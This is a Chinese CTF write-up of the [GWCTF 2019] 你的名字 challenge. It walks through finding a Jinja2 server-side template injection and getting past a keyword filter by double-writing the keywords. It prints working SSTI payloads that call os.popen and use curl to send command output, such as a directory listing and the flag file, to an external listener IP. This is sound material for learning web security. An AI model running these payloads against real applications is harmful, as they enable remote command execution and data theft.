刷题[GWCTF 2019]你的名字
解题思路
打开发现需要输入名字,猜测会有sql注入漏洞,测试一下发现单引号被过滤了,再fuzs下看看过滤了哪些
长度为1518和1519的都有过滤,测试一下,感觉不是sql注入了。那还有什么呢,考虑了ssti
使用{{7*7}},我直接傻了,怎么python的后端会报php的错,这里直接思路断了,找了其他的也没有发现有什么。直接看wp了,wp说看到返回头后发现是python写的后端,我这也没看出来有啥啊,希望有师傅知道的留言下,从哪看出来的
作者说加了个php模式的报错和index.php路由。好吧,直接被骗到了。其实这里也能猜到可能是故意迷惑的,继续往下走。
测试发现{{}}双括号会过滤报错,关于ssti的绕过可以看这一篇,讲的非常详细
利用文章中的poc打
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://174.0.68.175:8080/?i=
whoami').read()=='p' %}1{% endif %}
失败了,感觉可能是有什么的过滤,尝试一下。发现此payload中的if、os、class、mro,config,popen都会被过滤成空,那采取双写绕过的思想
os使用oconfigs,if使用iconfigf,class使用claconfigss,mro使用mrconfigo,popen使用popconfigen
payload:
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:8080/ -d
ls /|base64;') %}1{% endiconfigf %}
注意,这里有几个点:
- 所有被过滤的关键词都要进行相应替换
- 这里执行的是curl 靶机ip。需要在buu中另开一台linux靶机进行监听
ls /
是不行的,猜测会直接执行,所以要先用base加密输出,才可输出所有目录
监听靶机,监听成功:
发现flag文件:
执行命令:
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:8080/ -d
cat /flag_1s_Hera;') %}1{% endiconfigf %}
在靶机中获取到flag
总结思路
- 通过报错,猜测可能是ssti模板注入
- 这里需要手工测试过滤了哪些值
- 改变相应的payload进行攻击
- 用os.popen+curl回显数据
知识点
- ssti
- curl回显数据
刷题[GWCTF 2019]你的名字的更多相关文章
- 刷题[GWCTF 2019]mypassword
解题思路 打开网站,登陆框.注册一个用户后再登陆 看样子是注入了,在feedback.php中发现注释 <!-- if(is_array($feedback)){ echo "< ...
- 刷题[De1CTF 2019]SSRF Me
前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...
- 刷题[RCTF 2019]Nextphp
前置知识 一些关于php7.4版本需知: 1.FFI扩展:ffi.cdef 其中还有这样一段话 如果ffi.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号.意思就是其在不传入第二个参数时 ...
- 刷题[SUCTF 2019]CheckIn
解题思路 打开网页发现只是简单做了一个上传界面,朴实无华 上传一个php文件,发现非法后缀. 上传一个.htaccess文件,发现,爆出很重要的信息 exif_imagetype函数通过检测文件头来检 ...
- 刷题[RoarCTF 2019]Easy Java
前置知识 WEB-INF/web.xml泄露 java web工程目录结构 Servlet访问URL映射配置 由于客户端是通过URL地址访问Web服务器中的资源,所以Servlet程序若想被外界访问, ...
- 刷题记录:[GWCTF 2019]枯燥的抽奖
目录 刷题记录:[GWCTF 2019]枯燥的抽奖 知识点 php伪随机性 刷题记录:[GWCTF 2019]枯燥的抽奖 题目复现链接:https://buuoj.cn/challenges 参考链接 ...
- 刷题记录:[De1CTF 2019]Giftbox && Comment
目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 刷题记录:[DDCTF 2019]homebrew event loop
目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...
随机推荐
- 结构体深度比较 reflect.DeepEqual
demo1 package main import ( "fmt" "reflect" ) func main() { sliceMap1 := make([] ...
- python连接mysql中报错1064修改方法
Python是编程语言,MySQL是数据库,它们是两种不同的技术:要想使Python操作MySQL数据库需要使用驱动.这里选用PyMySQL驱动.下载地址: https://pypi.python.o ...
- mysql数据库中数据类型的长度
在mysql中新建数据表的时候会有长度一说,其实用建表语句建数据表的时候也有涉及 例如: CREATE TABLE user( uid int(4), name varchar(255), passw ...
- go语言之文件操作
一: 相关的API 1func Create(name string) (file *File, err Error) 根据提供的文件名创建新的文件,返回一个文件对象,默认权限是0666 2 func ...
- 攻防世界——web新手练习区解题记录<1>(1-4题)
web新手练习区一至四题 第一题view_source: 题目说右键不管用了,我们先获取在线场景来看一看,我们看到这样一个网页,并且右键确实点了没什么反应,而用到右键一般就是查看网页源码 用快捷键(F ...
- c# 可获取系统环境
c# 可获取系统环境, 启动进程执等 *.shell [MenuItem("Tools/DesignHelper/Clean and Pull")] private sta ...
- hdu6704 2019CCPC网络选拔赛1003 K-th occurrence 后缀数组
题意:给你一个长度为n的字符串,有q个询问,每次询问一个子串s(l,r)第k次出现的位置,若子串出现次数少于k次输出-1. 解题思路:先把SA跑出来,然后对于每次询问可以由l和rank[]找到l在所有 ...
- 2020年的UWP——通过Radio类控制Cellular(1)
最近在做UWP的项目,在2020年相信这已经是相对小众的技术了,但是在学习的过程中,发现某软这么几年仍然添加了不少的API,开放了相当多的权限.所以打算总结一下最近的一些经验和收获,介绍一下2020年 ...
- vue 0点定时网络请求
export default { data() { return { timer: null, currentTime: '', zeroTime: '00:00:05', // zeroTime: ...
- js map数据结构
Map 对象保存键值对,并且能够记住键的原始插入顺序.任何值(对象或者原始值) 都可以作为一个键或一个值. map对象常用于保存键值对,它的键是任意数据类型,常用于建立数据的映射关系 和对象的区别: ...